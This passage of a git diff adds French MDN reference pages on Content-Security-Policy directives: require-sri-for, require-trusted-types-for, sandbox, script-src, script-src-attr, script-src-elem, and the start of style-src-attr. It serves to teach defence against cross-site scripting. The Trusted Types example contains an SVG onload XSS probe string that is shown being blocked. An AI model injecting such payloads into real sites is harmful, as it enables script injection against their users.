+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.report-uri")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTTPHeader("Content-Security-Policy-Report-Only")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html
new file mode 100644
index 0000000000..2650a7f3c7
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/require-sri-for/index.html
@@ -0,0 +1,61 @@
+---
+title: 'CSP: require-sri-for'
+slug: Web/HTTP/Headers/Content-Security-Policy/require-sri-for
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Subresource Integrity
+  - Sécurité
+  - require-sri-for
+translation_of: Web/HTTP/Headers/Content-Security-Policy/require-sri-for
+---
+<div>{{Obsolete_header}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} <code><strong>require-sri-for</strong></code> informe l'agent utilisateur de requérir la vérification <a href="/en-US/docs/Web/Security/Subresource_Integrity">d'intégrité des sous-ressources</a> pour les scripts et styles de la page.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: require-sri-for script;
+Content-Security-Policy: require-sri-for style;
+Content-Security-Policy: require-sri-for script style;
+</pre>
+
+<dl>
+ <dt><code>script</code></dt>
+ <dd>Requiert {{Glossary("SRI")}} pour les scripts.</dd>
+ <dt><code>style</code></dt>
+ <dd>Requiert {{Glossary("SRI")}} pour les feuilles de styles.</dd>
+ <dt><code>script style</code></dt>
+ <dd>Requiert {{Glossary("SRI")}} pour les deux, scripts et feuilles de styles.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="notranslate">Content-Security-Policy: require-sri-for script style</pre>
+
+<p>Cet élément {{HTMLElement("script")}} sera chargé et exécuté puisqu'il utilise un attribut <code>integrity</code> valide.</p>
+
+<pre class="brush: html; example-good notranslate">&lt;script src="https://code.jquery.com/jquery-3.1.1.slim.js"
+        integrity="sha256-5i/mQ300M779N2OVDrl16lbohwXNUdzL/R2aVUXyXWA="
+        crossorigin="anonymous"&gt;&lt;/script&gt;</pre>
+
+<p>Toutefois, ce script sera bloqué car il n'utilise pas cet attribut :</p>
+
+<pre class="brush: html; example-bad notranslate">&lt;script src="https://code.jquery.com/jquery-3.1.1.slim.js"&gt;&lt;/script&gt;</pre>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.require-sri-for")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="/en-US/docs/Web/Security/Subresource_Integrity">Subresource Integrity</a></li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html
new file mode 100644
index 0000000000..f4102e3593
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/require-trusted-types-for/index.html
@@ -0,0 +1,88 @@
+---
+title: 'CSP: require-trusted-types-for'
+slug: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for
+tags:
+  - CSP
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Security
+  - Sécurité
+  - TrustedTypes
+  - require-trusted-types-for
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/require-trusted-types-for
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>require-trusted-types-for</strong></code> {{experimental_inline}} directive informe l'agent utilisateur de contrôler les données passées au puits de fonctions XSS du DOM, tel que le mutateur <a href="/en-US/docs/Web/API/Element/innerHTML">Element.innerHTML</a>.</p>
+
+<p>Lors de leur usage, ces fonctions n'acceptent que des valeurs typées et non falsifiables créées par des règles de Trusted Type et rejettent les chaines de caractère.<span> Conjointement à la directive <strong><code><a href="/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/trusted-types">trusted-types</a></code></strong>, qui empêche la création de règles de Trusted Type, cette directive permet aux auteurs de définir des règles empêchant d'écrire des données dans le DOM et donc de réduire </span> <span>la fenêtre de tir pour les attaques XSS sur le DOM à quelques pans isolés de la base de code d'une application, facilitant donc son contrôle et sa relecture</span><span>.</span></p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="notranslate">Content-Security-Policy: require-trusted-types-for 'script';
+</pre>
+
+<dl>
+ <dt><code>'script'</code></dt>
+ <dd>Interdit l'usage de chaine de caractères avec les fonctions du puits d'injection XSS du DOM, et requiert que les types correspondant soient créés par des règles de Trusted Type.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js notranslate">// Content-Security-Policy: require-trusted-types-for 'script'; trusted-types foo;
+
+const attackerInput = '&lt;svg onload="alert(/cross-site-scripting/)" /&gt;';
+const el = document.createElement('div');
+
+if (typeof trustedTypes !== 'undefined') {
+  // Create a policy that can create TrustedHTML values
+  // after sanitizing the input strings with DOMPurify library.
+  const sanitizer = trustedTypes.createPolicy('foo', {
+    createHTML: (input) =&gt; DOMPurify.sanitize(input)
+  });
+
+  el.innerHTML = sanitizer.createHTML(attackerInput);  // Puts the sanitized value into the DOM.
+  el.innerHTML = attackerInput;                        // Rejects a string value; throws a TypeError.
+}
+</pre>
+
+<h2 id="Prothèse_démulaiton">Prothèse d'émulaiton</h2>
+
+<p>Une <a href="https://github.com/w3c/webappsec-trusted-types#polyfill">prothèse d'émulation pour les Trusted Types</a> est disponible sur Github.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/">Trusted Types</a></td>
+   <td>Draft</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.trusted-types")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li><a href="/en-US/docs/Glossary/Cross-site_scripting">Cross-Site Scripting (XSS)</a></li>
+ <li><a href="https://w3c.github.io/webappsec-trusted-types/dist/spec/#injection-sinks">DOM XSS injection sinks covered by Trusted Types</a></li>
+ <li><a href="https://web.dev/trusted-types">Prevent DOM-based cross-site scripting vulnerabilities with Trusted Types</a></li>
+ <li>Trusted Types with <a href="https://github.com/cure53/DOMPurify#what-about-dompurify-and-trusted-types">DOMPurify</a> XSS sanitizer</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/sandbox/index.html b/files/fr/web/http/headers/content-security-policy/sandbox/index.html
new file mode 100644
index 0000000000..4786f3c319
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/sandbox/index.html
@@ -0,0 +1,111 @@
+---
+title: 'CSP: sandbox'
+slug: Web/HTTP/Headers/Content-Security-Policy/sandbox
+tags:
+  - CSP
+  - Content-Securityè-Policy
+  - Directive
+  - HTTP
+  - Sandbox
+  - Security
+  - Sécurité
+translation_of: Web/HTTP/Headers/Content-Security-Policy/sandbox
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>sandbox</strong></code> active un bac à sable (<em>sandbox</em>) pour les ressources demandées similaire à l'attribut {{htmlattrxref("sandbox", "iframe")}} des éléments {{HTMLElement("iframe")}}. Elle applique des restrictions aux actions d'une page, dont le fait d'empêcher les fenêtres intruses (<em>popups</em>) et l'exécution de greffons et de scripts et de créer une contrainte de même origine.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1.1 / 2</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Document directive")}}</td>
+  </tr>
+  <tr>
+   <th colspan="2" scope="row">Cette directive n'est pas supportée dans l'élément {{HTMLElement("meta")}} ou par l'en-tête {{HTTPHeader("Content-Security-policy-Report-Only")}}.</th>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: sandbox;
+Content-Security-Policy: sandbox &lt;valeur&gt;;
+</pre>
+
+<p>Où <code>&lt;valeur&gt;</code> peut optionnellement être une valeur parmi :</p>
+
+<dl>
+ <dt><code>allow-downloads-without-user-activation</code> {{experimental_inline}}</dt>
+ <dd>Autorise les téléchargements sans action de l'utilisateur.</dd>
+</dl>
+
+<dl>
+ <dt><code>allow-forms</code></dt>
+ <dd>Autorise la soumission de de formulaires. Si ce mot-clé n'est pas spécifié, cette opération est interdite.</dd>
+ <dt><code>allow-modals</code></dt>
+ <dd>Autorise la page à ouvrir des fenêtres modales.</dd>
+ <dt><code>allow-orientation-lock</code></dt>
+ <dd>Autorise la page à désactiver la possibilité de verrouiller l'orientation de l'écran.</dd>
+ <dt><code>allow-pointer-lock</code></dt>
+ <dd>Autorise la page à utiliser l'<a href="/en-US/docs/WebAPI/Pointer_Lock">API Pointer Lock</a>.</dd>
+ <dt><code>allow-popups</code></dt>
+ <dd>Autorise les fenêtres intruses (comme avec <code>window.open</code>, <code>target="_blank"</code>, <code>showModalDialog</code>). Si ce mot-clé n'est pas utilisée, cette fonctionnalité échouera en silence.</dd>
+ <dt><code>allow-popups-to-escape-sandbox</code></dt>
+ <dd>Autorise un document cloisonné dans une bac à sable à ouvrir de nouvelles fenêtres sans les contraindre à appliquer les mêmes règles. Cela permettra, par exemple, à une publicité externe d'être sainement cloisonnée sans imposer les mêmes restrictions sur une page d'accueil.</dd>
+ <dt><code>allow-presentation</code></dt>
+ <dd>Autorise les pages embarquantes à avoir contrôle sur la possibilité pour l'iframe de démarrer une session de présentation ou non.</dd>
+ <dt><code>allow-same-origin</code></dt>
+ <dd>Autorise le contenu à être traité comme étant de son origine normale. Si ce mot-clé n'est pas utilisé, les contenu embarqués seront traités comme étant d'une origine unique.</dd>
+ <dt><code>allow-scripts</code></dt>
+ <dd>Autorise la page à exécuter des scripts (mais non créer des fenêtres intruses). Si ce mot-clé n'est pas utilisée, cette opération n'est pas permise.</dd>
+ <dt><code>allow-storage-access-by-user-activation</code> {{experimental_inline}}</dt>
+ <dd>Laisse les requêtes de ressources accéder à l'espace de stockage du parent avec l'<a href="/en-US/docs/Web/API/Storage_Access_API">API Storage Access</a>.</dd>
+ <dt><code>allow-top-navigation</code></dt>
+ <dd>Autorise la page à charger du contenu au niveau supérieur de contexte navigationnel. Si ce mot-clé n'est pas utilisé, cette opération n'est pas permise.</dd>
+ <dt><code>allow-top-navigation-by-user-activation</code></dt>
+ <dd>Laisse la ressource naviguer jusqu'au niveau supérieur de contexte navigationnel, mais seulement si initié par une aciton de l'utilisateur.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: sandbox allow-scripts;</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-sandbox", "sandbox")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-sandbox", "sandbox")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.sandbox")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{htmlattrxref("sandbox", "iframe")}} attribute on {{HTMLElement("iframe")}} elements</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html
new file mode 100644
index 0000000000..b83c70cc28
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/script-src-attr/index.html
@@ -0,0 +1,100 @@
+---
+title: 'CSP: script-src-attr'
+slug: Web/HTTP/Headers/Content-Security-Policy/script-src-attr
+tags:
+  - CSP
+  - Content
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Script
+  - Security
+  - Sécurité
+  - script-src
+  - script-src-attr
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-attr
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src-attr</strong></code> spécifie les sources valides pour du code JavaScript embarqué dans des éléments {{HTMLElement("script")}} ou dans des gestionnaires d'évènements par attribut comme <code>onclick</code>, mais non les URL chargées par des éléments {{HTMLElement("script")}}.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: script-src-attr &lt;source&gt;;
+Content-Security-Policy: script-src-attr &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<p><code>script-src-attr</code>  peut être utilisée conjointement à  {{CSP("script-src")}} :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: script-src &lt;source&gt;;
+Content-Security-Policy: script-src-attr &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Valeur_par_défaut_avec_script-src">Valeur par défaut avec script-src</h3>
+
+<p>Si la directive <code>script-src-attr</code> est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.</p>
+
+<div class="hidden">
+<p>TODO: Add comprehensive examples.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-script-src-attr", "script-src-attr")}}</td>
+   <td>{{Spec2("CSP 3.0")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src-attr")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{CSP("script-src")}}</li>
+ <li>{{CSP("script-src-elem")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html
new file mode 100644
index 0000000000..5bebc3b3a7
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/script-src-elem/index.html
@@ -0,0 +1,100 @@
+---
+title: 'CSP: script-src-elem'
+slug: Web/HTTP/Headers/Content-Security-Policy/script-src-elem
+tags:
+  - CSP
+  - Content
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Script
+  - Security
+  - Sécurité
+  - script-src
+  - script-src-elem
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src-elem
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>script-src-elem</code></strong> spécifie les sources valides pour des éléments {{HTMLElement("script")}} JavaScript, mais non pour des scripts embarqués ou des gestionnaire d'évènements par attribut comme <code>onclick</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("script-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: script-src-elem &lt;source&gt;;
+Content-Security-Policy: script-src-elem &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<p><code>script-src-elem</code> peut être utilisée conjointement à {{CSP("script-src")}} :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: script-src &lt;source&gt;;
+Content-Security-Policy: script-src-elem &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Valeur_par_défaut_avec_script-src">Valeur par défaut avec script-src</h3>
+
+<p>Si la directive <code>script-src-elem</code> est absente, l'agent utilisateur se rabat sur la valeur de la directive {{CSP("script-src")}}, qui elle-même a pour valeur par défaut celle de la directive {{CSP("default-src")}}.</p>
+
+<div class="hidden">
+<p>TODO: Add comprehensive examples.</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-script-src-elem", "script-src-elem")}}</td>
+   <td>{{Spec2("CSP 3.0")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src-elem")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{CSP("script-src")}}</li>
+ <li>{{CSP("script-src-attr")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/script-src/index.html b/files/fr/web/http/headers/content-security-policy/script-src/index.html
new file mode 100644
index 0000000000..d050eefcaa
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/script-src/index.html
@@ -0,0 +1,176 @@
+---
+title: 'CSP: script-src'
+slug: Web/HTTP/Headers/Content-Security-Policy/script-src
+tags:
+  - CSP
+  - Content
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Script
+  - Security
+  - Sécurité
+  - script-src
+  - source
+translation_of: Web/HTTP/Headers/Content-Security-Policy/script-src
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>script-src</strong></code> spécifie les sources valides pour du code JavaScript. Cela inclut non seulement les URL chargées directement par les éléments {{HTMLElement("script")}}, mais aussi les scripts embarqués, les attributs de gestion d'évènements (<code>onclick</code>) et <a href="/en-US/docs/Web/XSLT">les feuilles de style XSLT</a> pouvant déclencher l'exécution de scripts.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>1</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p>
+
+<pre class="syntaxbox notranslate">Content-Security-Policy: script-src &lt;source&gt;;
+Content-Security-Policy: script-src &lt;source&gt; &lt;source&gt;;
+</pre>
+
+<h3 id="Sources">Sources</h3>
+
+<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Cas_de_violation">Cas de violation</h3>
+
+<p>Soit cet en-tête CSP :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: script-src https://example.com/</pre>
+
+<p>Ces scripts seront bloqués et ne seront pas chargés ou exécutés :</p>
+
+<pre class="brush: html notranslate">&lt;script src="https://not-example.com/js/library.js"&gt;&lt;/script&gt;</pre>
+
+<p>Notez que les gestionnaires d'évènements par attributs sont aussi bloqués :</p>
+
+<pre class="brush: html notranslate">&lt;button id="btn" onclick="doSomething()"&gt;</pre>
+
+<p>Vous devez les remplacer par des appels à la méthode {{domxref("EventTarget.addEventListener", "addEventListener")}} :</p>
+
+<pre class="brush: js notranslate">document.getElementById("btn").addEventListener('click', doSomething);</pre>
+
+<h3 id="Scripts_embarqués_non_fiables">Scripts embarqués non fiables</h3>
+
+<div class="note">
+<p><strong>Note :</strong> Bloquer les styles et scripts embarqués est l'une des stratégies de sécurité majeures que CSP propose. Toutefois, si vous en avez absolument besoin, il existe des mécanismes qui vous permettront de les autoriser.</p>
+</div>
+
+<p>Vous pouvez autoriser les scripts embarqués et les gestionnaires d'évènements par attributs en spécifiant la valeur <code>'unsafe-inline'</code>, des nonces ou des hashs correspondant au script.</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: script-src 'unsafe-inline';
+</pre>
+
+<p>Cette directive CSP autorisera tous les scripts {{HTMLElement("script")}} embarqués :</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;
+  var inline = 1;
+&lt;/script&gt;</pre>
+
+<p>Vous pouvez aussi utiliser un nonce pour autoriser spécifiquement certains éléments {{HTMLElement("script")}} embarqués :</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: script-src 'nonce-2726c7f26c'</pre>
+
+<p>Vous devrez alors définir ce nonce sur l'élément {{HTMLElement("script")}} :</p>
+
+<pre class="brush: html notranslate">&lt;script nonce="2726c7f26c"&gt;
+  var inline = 1;
+&lt;/script&gt;</pre>
+
+<p>Autrement, vous pouvez créer des hashs à partir de vos scripts. CSP accepte les algorithmes sha256, sha384 et sha512.</p>
+
+<pre class="brush: bash notranslate">Content-Security-Policy: script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='</pre>
+
+<p>Lors de la génération du hash, vous ne devez pas inclure les balises et tenir compte de la casse et des caractères blancs (espaces, retours à la ligne, etc.).</p>
+
+<pre class="brush: html notranslate">&lt;script&gt;var inline = 1;&lt;/script&gt;</pre>
+
+<h3 id="Expressions_dévaluation_non_fiables">Expressions d'évaluation non fiables</h3>
+
+<p>La valeur <code>'unsafe-eval'</code> contrôle différents méthodes qui créent du code JavaScript à partir de chaines de caractères. Si <code>'unsafe-eval'</code> n'est pas spécifiée avec la directive <code>script-src</code>, ces méthodes seront bloquées et n'auront aucun effet :</p>
+
+<ul>
+ <li>{{jsxref("eval", "eval()")}}</li>
+ <li>{{jsxref("Function", "Function()")}}</li>
+ <li>En passant une chaine à des méthodes tel que : <code>window.setTimeout("alert(\"Hello World!\");", 500);</code>
+  <ul>
+   <li>{{domxref("window.setTimeout")}}</li>
+   <li>{{domxref("window.setInterval")}}</li>
+   <li>{{domxref("window.setImmediate")}}</li>
+  </ul>
+ </li>
+ <li>{{domxref("window.execScript")}} {{non-standard_inline}} (IE10 et versions précédentes)</li>
+</ul>
+
+<h3 id="strict-dynamic">strict-dynamic</h3>
+
+<p>La valeur <code>'strict-dynamic'</code> spécifie que la confiance explicitement donnée à un script de la page, par le biais d'un nonce ou d'un hash, doit être propagée à tous les scripts chargés par celui-ci. En conséquence, toute liste de permissions ou expressions de sources telles que <code>'self'</code> ou <code>'unsafe-inline'</code> sont ignorées. Par exemple, une règle telle que <code>script-src 'strict-dynamic' 'nonce-R4nd0m' https://whitelisted.com/</code> autoriserait le chargement de scripts comme <code>&lt;script nonce="R4nd0m" src="https://example.com/loader.js"&gt;</code> et s'appliquerait ensuite à tous les scripts chargés par <code>loader.js</code>, mais interdirait les scripts chargés depuis <code>https://whitelisted.com/</code> à moins qu'ils soient accompagnés d'un nonce ou chargés depuis un script dont la source est de confiance.</p>
+
+<pre class="brush: bash notranslate">script-src 'strict-dynamic' 'nonce-<em>someNonce</em>'</pre>
+
+<p><em>Ou</em></p>
+
+<pre class="brush: bash notranslate">script-src 'strict-dynamic' 'sha256-<em>base64EncodedHash</em>'</pre>
+
+<p>Il est possible de déployer <code>strict-dynamic</code> de manière rétrocompatible, sans chercher à connaitre l'agent utilisateur. Cette directive :</p>
+
+<pre class="brush: bash notranslate">script-src 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic'</pre>
+
+<p>fonctionnera comme <code>'unsafe-inline' https:</code> pour les navigateurs supportant CSP1, <code>https: 'nonce-abcdefg'</code> pour ceux supportant CSP2 et comme <code>'nonce-abcdefg' 'strict-dynamic'</code> pour ceux supportant CSP3.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{specName("CSP 3.0", "#directive-script-src", "script-src")}}</td>
+   <td>{{Spec2('CSP 3.0')}}</td>
+   <td>Inchangé.</td>
+  </tr>
+  <tr>
+   <td>{{specName("CSP 1.1", "#directive-script-src", "script-src")}}</td>
+   <td>{{Spec2('CSP 1.1')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("http.headers.csp.Content-Security-Policy.script-src")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{HTTPHeader("Content-Security-Policy")}}</li>
+ <li>{{HTMLElement("script")}}</li>
+ <li>{{CSP("script-src-elem")}}</li>
+ <li>{{CSP("script-src-attr")}}</li>
+</ul>
diff --git a/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html
new file mode 100644
index 0000000000..9944696998
--- /dev/null
+++ b/files/fr/web/http/headers/content-security-policy/style-src-attr/index.html
@@ -0,0 +1,105 @@
+---
+title: 'CSP: style-src-attr'
+slug: Web/HTTP/Headers/Content-Security-Policy/style-src-attr
+tags:
+  - CSP
+  - Content
+  - Content-Security-Policy
+  - Directive
+  - HTTP
+  - Reference
+  - Security
+  - Style
+  - Sécurité
+  - source
+  - style-src
+  - style-src-attr
+translation_of: Web/HTTP/Headers/Content-Security-Policy/style-src-attr
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>style</strong></code><strong><code>-src-attr</code></strong> spécifie les sources valides pour des feuilles de styles appliquées à des éléments individuels du DOM par l'attribut <code>style</code>.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Version de CSP</th>
+   <td>3</td>
+  </tr>
+  <tr>
+   <th scope="row">Type de directive</th>
+   <td>{{Glossary("Fetch directive")}}</td>
+  </tr>
+  <tr>
+   <th scope="row">{{CSP("default-src")}} par défaut</th>
+   <td>
+    <p>Oui, si cette directive est absente, l'agent utilisateur consultera la directive {{CSP("style-src")}}, qui a pour valeur par défaut celle de la directive <code>default-src</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
